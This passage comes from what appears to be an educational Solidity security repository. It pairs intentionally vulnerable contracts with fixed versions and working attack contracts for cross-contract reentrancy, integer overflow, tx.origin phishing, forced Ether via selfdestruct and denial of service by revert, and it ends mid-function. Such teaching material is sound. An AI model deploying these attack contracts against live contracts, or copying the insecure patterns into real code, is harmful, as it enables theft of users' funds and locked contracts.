"No re-entrancy"); 18 | locked = true; 19 | _; 20 | locked = false; 21 | } 22 | } 23 | 24 | interface IMoonToken { 25 | function transferOwnership(address _newOwner) external; 26 | function transfer(address _to, uint256 _value) external returns (bool success); 27 | function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); 28 | function balanceOf(address _owner) external view returns (uint256 balance); 29 | function approve(address _spender, uint256 _value) external returns (bool success); 30 | function allowance(address _owner, address _spender) external view returns (uint256 remaining); 31 | function mint(address _to, uint256 _value) external returns (bool success); 32 | function burnAccount(address _from) external returns (bool success); 33 | } 34 | 35 | contract MoonToken { 36 | uint256 private constant MAX_UINT256 = type(uint256).max; 37 | mapping (address => uint256) public balances; 38 | mapping (address => mapping (address => uint256)) public allowed; 39 | 40 | string public constant name = "MOON Token"; 41 | string public constant symbol = "MOON"; 42 | uint8 public constant decimals = 18; 43 | 44 | uint256 public totalSupply; 45 | address public owner; 46 | 47 | constructor() { 48 | owner = msg.sender; 49 | } 50 | 51 | modifier onlyOwner() { 52 | require(owner == msg.sender, "You are not the owner"); 53 | _; 54 | } 55 | 56 | function transferOwnership(address _newOwner) external onlyOwner { 57 | owner = _newOwner; 58 | } 59 | 60 | function transfer(address _to, uint256 _value) 61 | external 62 | returns (bool success) 63 | { 64 | require(balances[msg.sender] >= _value); 65 | balances[msg.sender] -= _value; 66 | balances[_to] += _value; 67 | return true; 68 | } 69 | 70 | function transferFrom( 71 | address _from, 72 | address _to, 73 | uint256 _value 74 | ) external returns (bool success) { 75 | uint256 allowance_ = allowed[_from][msg.sender]; 76 | require(balances[_from] >= _value && allowance_ >= _value); 77 | 78 | balances[_to] += _value; 79 | balances[_from] -= _value; 80 | 81 | if (allowance_ < MAX_UINT256) { 82 | allowed[_from][msg.sender] -= _value; 83 | } 84 | return true; 85 | } 86 | 87 | function balanceOf(address _owner) 88 | external 89 | view 90 | returns (uint256 balance) 91 | { 92 | return balances[_owner]; 93 | } 94 | 95 | function approve(address _spender, uint256 _value) 96 | external 97 | returns (bool success) 98 | { 99 | allowed[msg.sender][_spender] = _value; 100 | return true; 101 | } 102 | 103 | function allowance(address _owner, address _spender) 104 | external 105 | view 106 | returns (uint256 remaining) 107 | { 108 | return allowed[_owner][_spender]; 109 | } 110 | 111 | function mint(address _to, uint256 _value) 112 | external 113 | onlyOwner // MoonVault must be the contract owner 114 | returns (bool success) 115 | { 116 | balances[_to] += _value; 117 | totalSupply += _value; 118 | return true; 119 | } 120 | 121 | function burnAccount(address _from) 122 | external 123 | onlyOwner // MoonVault must be the contract owner 124 | returns (bool success) 125 | { 126 | uint256 amountToBurn = balances[_from]; 127 | balances[_from] -= amountToBurn; 128 | totalSupply -= amountToBurn; 129 | return true; 130 | } 131 | } -------------------------------------------------------------------------------- /05_cross_contract_reentrancy/FixedMoonVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | // FixedMoonVault must be the contract owner of the MoonToken 16 | contract FixedMoonVault is ReentrancyGuard { 17 | IMoonToken public immutable moonToken; 18 | 19 | constructor(IMoonToken _moonToken) { 20 | moonToken = _moonToken; 21 | } 22 | 23 | function deposit() external payable noReentrant { // Apply the noReentrant modifier 24 | bool success = moonToken.mint(msg.sender, msg.value); 25 | require(success, "Failed to mint token"); 26 | } 27 | 28 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier 29 | uint256 balance = getUserBalance(msg.sender); 30 | require(balance > 0, "Insufficient balance"); // Check 31 | 32 | // FIX: Apply checks-effects-interactions pattern 33 | bool success = moonToken.burnAccount(msg.sender); // Effect (call to trusted external contract) 34 | require(success, "Failed to burn token"); 35 | 36 | (success, ) = msg.sender.call{value: balance}(""); // Interaction 37 | require(success, "Failed to send Ether"); 38 | } 39 | 40 | function getBalance() external view returns (uint256) { 41 | return address(this).balance; 42 | } 43 | 44 | function getUserBalance(address _user) public view returns (uint256) { 45 | return moonToken.balanceOf(_user); 46 | } 47 | } -------------------------------------------------------------------------------- /05_cross_contract_reentrancy/InsecureMoonVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | // InsecureMoonVault must be the contract owner of the MoonToken 16 | contract InsecureMoonVault is ReentrancyGuard { 17 | IMoonToken public immutable moonToken; 18 | 19 | constructor(IMoonToken _moonToken) { 20 | moonToken = _moonToken; 21 | } 22 | 23 | function deposit() external payable noReentrant { // Apply the noReentrant modifier 24 | bool success = moonToken.mint(msg.sender, msg.value); 25 | require(success, "Failed to mint token"); 26 | } 27 | 28 | function withdrawAll() external noReentrant { // Apply the noReentrant modifier 29 | uint256 balance = getUserBalance(msg.sender); 30 | require(balance > 0, "Insufficient balance"); 31 | 32 | (bool success, ) = msg.sender.call{value: balance}(""); 33 | require(success, "Failed to send Ether"); 34 | 35 | success = moonToken.burnAccount(msg.sender); 36 | require(success, "Failed to burn token"); 37 | } 38 | 39 | function getBalance() external view returns (uint256) { 40 | return address(this).balance; 41 | } 42 | 43 | function getUserBalance(address _user) public view returns (uint256) { 44 | return moonToken.balanceOf(_user); 45 | } 46 | } -------------------------------------------------------------------------------- /05_cross_contract_reentrancy/README.md: -------------------------------------------------------------------------------- 1 | # 05. Cross-Contract Reentrancy 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Cross-Contract Reentrancy]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy-30f29e2a01b9)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-05-cross-contract-reentrancy/) | -------------------------------------------------------------------------------- /06_integer_overflow/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | interface IMoonToken { 14 | function buy(uint256 _tokenToBuy) external payable; 15 | function sell(uint256 _tokenToSell) external; 16 | function getEtherBalance() external view returns (uint256); 17 | } 18 | 19 | contract Attack { 20 | uint256 private constant MAX_UINT256 = type(uint256).max; 21 | uint256 public constant TOKEN_PRICE = 1 ether; 22 | 23 | IMoonToken public immutable moonToken; 24 | 25 | constructor(IMoonToken _moonToken) public { 26 | moonToken = _moonToken; 27 | } 28 | 29 | receive() external payable {} 30 | 31 | function calculateTokenToBuy() public pure returns (uint256) { 32 | // Calculate an amount of tokens that makes an integer overflow 33 | return MAX_UINT256 / TOKEN_PRICE + 1; 34 | } 35 | 36 | function getEthersRequired() public pure returns (uint256) { 37 | uint256 amountToBuy = calculateTokenToBuy(); 38 | 39 | // Ether (in Wei) required to submit to invoke the attackBuy() function 40 | return amountToBuy * TOKEN_PRICE; 41 | } 42 | 43 | function attackBuy() external payable { 44 | require(getEthersRequired() == msg.value, "Ether received mismatch"); 45 | uint256 amountToBuy = calculateTokenToBuy(); 46 | moonToken.buy{value: msg.value}(amountToBuy); 47 | } 48 | 49 | function calculateTokenToSell() public view returns (uint256) { 50 | // Calculate the maximum Ethers that can drain out 51 | return moonToken.getEtherBalance() / TOKEN_PRICE; 52 | } 53 | 54 | // Maximum Ethers that can drain out = moonToken.balance / 10 ** 18 only, 55 | // since moonToken.decimals = 0 and 1 token = 1 Ether always 56 | // (The token is non-divisible. You can buy/sell 1, 2, 3, or 46 tokens but not 33.5.) 57 | function attackSell() external { 58 | uint256 amountToSell = calculateTokenToSell(); 59 | moonToken.sell(amountToSell); 60 | } 61 | 62 | function getEtherBalance() external view returns (uint256) { 63 | return address(this).balance; 64 | } 65 | } -------------------------------------------------------------------------------- /06_integer_overflow/FixedMoonToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | // Simplified SafeMath 14 | library SafeMath { 15 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 16 | uint256 c = a + b; 17 | require(c >= a, "SafeMath: addition overflow"); 18 | 19 | return c; 20 | } 21 | 22 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 23 | require(b <= a, "SafeMath: subtraction overflow"); 24 | uint256 c = a - b; 25 | 26 | return c; 27 | } 28 | 29 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 30 | if (a == 0) { 31 | return 0; 32 | } 33 | 34 | uint256 c = a * b; 35 | require(c / a == b, "SafeMath: multiplication overflow"); 36 | 37 | return c; 38 | } 39 | } 40 | 41 | contract FixedMoonToken { 42 | using SafeMath for uint256; 43 | 44 | mapping (address => uint256) private userBalances; 45 | 46 | uint256 public constant TOKEN_PRICE = 1 ether; 47 | string public constant name = "Moon Token"; 48 | string public constant symbol = "MOON"; 49 | 50 | // The token is non-divisible 51 | // You can buy/sell 1, 2, 3, or 46 tokens but not 33.5 52 | uint8 public constant decimals = 0; 53 | 54 | function buy(uint256 _tokenToBuy) external payable { 55 | require( 56 | msg.value == _tokenToBuy.mul(TOKEN_PRICE), // FIX: Apply SafeMath 57 | "Ether received and Token amount to buy mismatch" 58 | ); 59 | 60 | userBalances[msg.sender] = userBalances[msg.sender].add(_tokenToBuy); // FIX: Apply SafeMath 61 | } 62 | 63 | function sell(uint256 _tokenToSell) external { 64 | require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance"); 65 | 66 | userBalances[msg.sender] = userBalances[msg.sender].sub(_tokenToSell); // FIX: Apply SafeMath 67 | 68 | (bool success, ) = msg.sender.call{value: _tokenToSell.mul(TOKEN_PRICE)}(""); // FIX: Apply SafeMath 69 | require(success, "Failed to send Ether"); 70 | } 71 | 72 | function getEtherBalance() external view returns (uint256) { 73 | return address(this).balance; 74 | } 75 | 76 | function getUserBalance(address _user) external view returns (uint256) { 77 | return userBalances[_user]; 78 | } 79 | } -------------------------------------------------------------------------------- /06_integer_overflow/InsecureMoonToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/ 10 | 11 | pragma solidity 0.6.12; 12 | 13 | contract InsecureMoonToken { 14 | mapping (address => uint256) private userBalances; 15 | 16 | uint256 public constant TOKEN_PRICE = 1 ether; 17 | string public constant name = "Moon Token"; 18 | string public constant symbol = "MOON"; 19 | 20 | // The token is non-divisible 21 | // You can buy/sell 1, 2, 3, or 46 tokens but not 33.5 22 | uint8 public constant decimals = 0; 23 | 24 | function buy(uint256 _tokenToBuy) external payable { 25 | require( 26 | msg.value == _tokenToBuy * TOKEN_PRICE, 27 | "Ether received and Token amount to buy mismatch" 28 | ); 29 | 30 | userBalances[msg.sender] += _tokenToBuy; 31 | } 32 | 33 | function sell(uint256 _tokenToSell) external { 34 | require(userBalances[msg.sender] >= _tokenToSell, "Insufficient balance"); 35 | 36 | userBalances[msg.sender] -= _tokenToSell; 37 | 38 | (bool success, ) = msg.sender.call{value: _tokenToSell * TOKEN_PRICE}(""); 39 | require(success, "Failed to send Ether"); 40 | } 41 | 42 | function getEtherBalance() external view returns (uint256) { 43 | return address(this).balance; 44 | } 45 | 46 | function getUserBalance(address _user) external view returns (uint256) { 47 | return userBalances[_user]; 48 | } 49 | } -------------------------------------------------------------------------------- /06_integer_overflow/README.md: -------------------------------------------------------------------------------- 1 | # 06. Integer Overflow 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Integer Overflow]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-06-integer-overflow-e1f444f3cc4)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-06-integer-overflow/) | -------------------------------------------------------------------------------- /07_phishing_with_improper_authorization/FixedDonation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | contract FixedDonation { 14 | address public immutable owner; 15 | 16 | constructor() { 17 | owner = msg.sender; 18 | } 19 | 20 | function buyMeACoffee() external payable { 21 | } 22 | 23 | function getBalance() external view returns (uint256) { 24 | return address(this).balance; 25 | } 26 | 27 | function collectEthers(address payable _to, uint256 _amount) external { 28 | require(msg.sender == owner, "Not owner"); // FIX: Use msg.sender instead of tx.origin 29 | 30 | (bool success, ) = _to.call{value: _amount}(""); 31 | require(success, "Failed to send Ether"); 32 | } 33 | } -------------------------------------------------------------------------------- /07_phishing_with_improper_authorization/InsecureDonation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | contract InsecureDonation { 14 | address public immutable owner; 15 | 16 | constructor() { 17 | owner = msg.sender; 18 | } 19 | 20 | function buyMeACoffee() external payable { 21 | } 22 | 23 | function getBalance() external view returns (uint256) { 24 | return address(this).balance; 25 | } 26 | 27 | function collectEthers(address payable _to, uint256 _amount) external { 28 | require(tx.origin == owner, "Not owner"); 29 | 30 | (bool success, ) = _to.call{value: _amount}(""); 31 | require(success, "Failed to send Ether"); 32 | } 33 | } -------------------------------------------------------------------------------- /07_phishing_with_improper_authorization/PhishingAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | interface IDonation { 14 | function collectEthers(address payable _to, uint256 _amount) external; 15 | } 16 | 17 | contract PhishingAttack { 18 | IDonation public immutable donationContract; 19 | 20 | constructor(IDonation _donationContract) { 21 | donationContract = _donationContract; 22 | } 23 | 24 | receive() external payable {} 25 | 26 | function bait() external { 27 | donationContract.collectEthers( 28 | payable(address(this)), 29 | address(donationContract).balance 30 | ); 31 | } 32 | 33 | function getBalance() external view returns (uint256) { 34 | return address(this).balance; 35 | } 36 | } -------------------------------------------------------------------------------- /07_phishing_with_improper_authorization/README.md: -------------------------------------------------------------------------------- 1 | # 07. Phishing With Improper Authorization 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Phishing With Improper Authorization]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization-232dacf307e3)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-07-phishing-with-improper-authorization/) | -------------------------------------------------------------------------------- /08_unexpected_ether_with_forcibly_sending_ether/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | contract Attack { 14 | address immutable moonToken; 15 | 16 | constructor(address _moonToken) { 17 | moonToken = _moonToken; 18 | } 19 | 20 | function attack() external payable { 21 | require(msg.value != 0, "Require some Ether to attack"); 22 | 23 | address payable target = payable(moonToken); 24 | selfdestruct(target); 25 | } 26 | } -------------------------------------------------------------------------------- /08_unexpected_ether_with_forcibly_sending_ether/FixedMoonToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | contract FixedMoonToken { 14 | mapping (address => uint256) private userBalances; 15 | 16 | uint256 public constant TOKEN_PRICE = 1 ether; 17 | string public constant name = "Moon Token"; 18 | string public constant symbol = "MOON"; 19 | 20 | // The token is non-divisible 21 | // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5 22 | uint8 public constant decimals = 0; 23 | 24 | uint256 public totalSupply; 25 | 26 | function buy(uint256 _amount) external payable { 27 | require( 28 | msg.value == _amount * TOKEN_PRICE, 29 | "Ether submitted and Token amount to buy mismatch" 30 | ); 31 | 32 | userBalances[msg.sender] += _amount; 33 | totalSupply += _amount; 34 | } 35 | 36 | function sell(uint256 _amount) external { 37 | require(userBalances[msg.sender] >= _amount, "Insufficient balance"); 38 | 39 | userBalances[msg.sender] -= _amount; 40 | totalSupply -= _amount; 41 | 42 | (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}(""); 43 | require(success, "Failed to send Ether"); 44 | 45 | // FIX: Do not rely on address(this).balance. If necessary, however, 46 | // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead 47 | assert(getEtherBalance() >= totalSupply * TOKEN_PRICE); 48 | } 49 | 50 | function transfer(address _to, uint256 _amount) external { 51 | require(_to != address(0), "_to address is not valid"); 52 | require(userBalances[msg.sender] >= _amount, "Insufficient balance"); 53 | 54 | userBalances[msg.sender] -= _amount; 55 | userBalances[_to] += _amount; 56 | } 57 | 58 | function getEtherBalance() public view returns (uint256) { 59 | return address(this).balance; 60 | } 61 | 62 | function getUserBalance(address _user) external view returns (uint256) { 63 | return userBalances[_user]; 64 | } 65 | } -------------------------------------------------------------------------------- /08_unexpected_ether_with_forcibly_sending_ether/InsecureMoonToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/ 10 | 11 | pragma solidity 0.8.17; 12 | 13 | contract InsecureMoonToken { 14 | mapping (address => uint256) private userBalances; 15 | 16 | uint256 public constant TOKEN_PRICE = 1 ether; 17 | string public constant name = "Moon Token"; 18 | string public constant symbol = "MOON"; 19 | 20 | // The token is non-divisible 21 | // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5 22 | uint8 public constant decimals = 0; 23 | 24 | uint256 public totalSupply; 25 | 26 | function buy(uint256 _amount) external payable { 27 | require( 28 | msg.value == _amount * TOKEN_PRICE, 29 | "Ether submitted and Token amount to buy mismatch" 30 | ); 31 | 32 | userBalances[msg.sender] += _amount; 33 | totalSupply += _amount; 34 | } 35 | 36 | function sell(uint256 _amount) external { 37 | require(userBalances[msg.sender] >= _amount, "Insufficient balance"); 38 | 39 | userBalances[msg.sender] -= _amount; 40 | totalSupply -= _amount; 41 | 42 | (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}(""); 43 | require(success, "Failed to send Ether"); 44 | 45 | assert(getEtherBalance() == totalSupply * TOKEN_PRICE); 46 | } 47 | 48 | function transfer(address _to, uint256 _amount) external { 49 | require(_to != address(0), "_to address is not valid"); 50 | require(userBalances[msg.sender] >= _amount, "Insufficient balance"); 51 | 52 | userBalances[msg.sender] -= _amount; 53 | userBalances[_to] += _amount; 54 | } 55 | 56 | function getEtherBalance() public view returns (uint256) { 57 | return address(this).balance; 58 | } 59 | 60 | function getUserBalance(address _user) external view returns (uint256) { 61 | return userBalances[_user]; 62 | } 63 | } -------------------------------------------------------------------------------- /08_unexpected_ether_with_forcibly_sending_ether/README.md: -------------------------------------------------------------------------------- 1 | # 08. Unexpected Ether With Forcibly Sending Ether 2 | 3 | For more info, please refer to my article: 4 | 5 | | Vulnerability Issue | Article Links | 6 | | --- | --- | 7 | | [Unexpected Ether With Forcibly Sending Ether]() | - [On Medium](https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether-e13be2c6b985)
- [On serial-coder.com](https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-08-unexpected-ether-with-forcibly-sending-ether/) | -------------------------------------------------------------------------------- /09_denial_of_service_with_revert/Attack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | interface IWinnerTakesItAll { 14 | function claimLeader() external payable; 15 | function claimPrincipalAndReward() external; 16 | function isChallengeEnd() external view returns (bool); 17 | } 18 | 19 | contract Attack { 20 | address public immutable owner; 21 | IWinnerTakesItAll public immutable targetContract; 22 | 23 | constructor(IWinnerTakesItAll _targetContract) { 24 | owner = msg.sender; 25 | targetContract = _targetContract; 26 | } 27 | 28 | modifier onlyOwner() { 29 | require(owner == msg.sender, "You are not the owner"); 30 | _; 31 | } 32 | 33 | receive() external payable { 34 | if (!targetContract.isChallengeEnd()) { 35 | // Revert a transaction if the challenge does not end 36 | revert(); 37 | } 38 | // Receive the profit if the challenge ends 39 | } 40 | 41 | function attack() external payable onlyOwner { 42 | targetContract.claimLeader{value: msg.value}(); 43 | } 44 | 45 | function claimPrincipalAndReward() external onlyOwner { 46 | targetContract.claimPrincipalAndReward(); 47 | 48 | (bool success, ) = owner.call{value: address(this).balance}(""); 49 | require(success, "Failed to send Ether"); 50 | } 51 | } -------------------------------------------------------------------------------- /09_denial_of_service_with_revert/Dependencies.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | abstract contract ReentrancyGuard { 14 | bool internal locked; 15 | 16 | modifier noReentrant() { 17 | require(!locked, "No re-entrancy"); 18 | locked = true; 19 | _; 20 | locked = false; 21 | } 22 | } -------------------------------------------------------------------------------- /09_denial_of_service_with_revert/FixedWinnerTakesItAll.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSL-1.0 (Boost Software License 1.0) 2 | 3 | //-------------------------------------------------------------------------------------// 4 | // Copyright (c) 2022 - 2023 serial-coder: Phuwanai Thummavet (mr.thummavet@gmail.com) // 5 | //-------------------------------------------------------------------------------------// 6 | 7 | // For more info, please refer to my article: 8 | // - On Medium: https://medium.com/valixconsulting/solidity-security-by-example-09-denial-of-service-with-revert-814f55b61e02 9 | // - On serial-coder.com: https://www.serial-coder.com/post/solidity-smart-contract-security-by-example-09-denial-of-service-with-revert/ 10 | 11 | pragma solidity 0.8.19; 12 | 13 | import "./Dependencies.sol"; 14 | 15 | // Preventive solution 16 | // -> Let users withdraw their Ethers instead of sending the Ethers to them (pull model) 17 | 18 | contract FixedWinnerTakesItAll is ReentrancyGuard { 19 | address public currentleader; 20 | uint256 public lastDepositedAmount; 21 | 22 | mapping (address => uint256) public prevLeaderRefunds; // FIX: For recording available refunds of all previous leaders 23 | 24 | uint256 public currentLeaderReward; 25 | uint256 public nextLeaderReward; 26 | 27 | bool public rewardClaimed; 28 | uint256 public immutable challengeEnd; 29 | 30 | constructor(uint256 _challengePeriod) payable { 31 | require(msg.value == 10 ether, "Require an initial 10 Ethers reward"); 32 | 33 | currentleader = address(0); 34 | lastDepositedAmount = msg.value; 35 | currentLeaderReward = 0; 36 | nextLeaderReward = msg.value; 37 | rewardClaimed = false; 38 | challengeEnd = block.timestamp + _challengePeriod; 39 | } 40 | 41 | function claimLeader() external payable noReentrant { 42 | require(block.timestamp < challengeEnd, "Challenge is finished"); 43 | require(msg.sender != currentleader, "You are the current leader"); 44 | require(msg.value > lastDepositedAmount, "You must pay more than the current leader"); 45 | 46 | if (currentleader == address(0)) { // First claimer (no need to refund the initial reward) 47 | // Assign the new leader 48 | currentleader = msg.sender; 49 | lastDepositedAmount = msg.value; 50 | 51 | currentLeaderReward = nextLeaderReward; // Accrue the reward 52 | nextLeaderReward += lastDepositedAmount / 10; // Deduct 10% from the last deposited amount for the next leader 53 | } 54 | else { // Next claimers 55 | // Refund the previous leader with 90% of his deposit 56 | uint256 refundAmount = lastDepositedAmount * 9 / 10; 57 | 58 | // Assign the new leader 59 | address prevLeader = currentleader; 60 | currentleader = msg.sender; 61 | lastDepositedAmount = msg.value; 62 | 63 | currentLeaderReward = nextLeaderReward; // Accrue the reward 64 | nextLeaderReward += lastDepositedAmount / 10; // 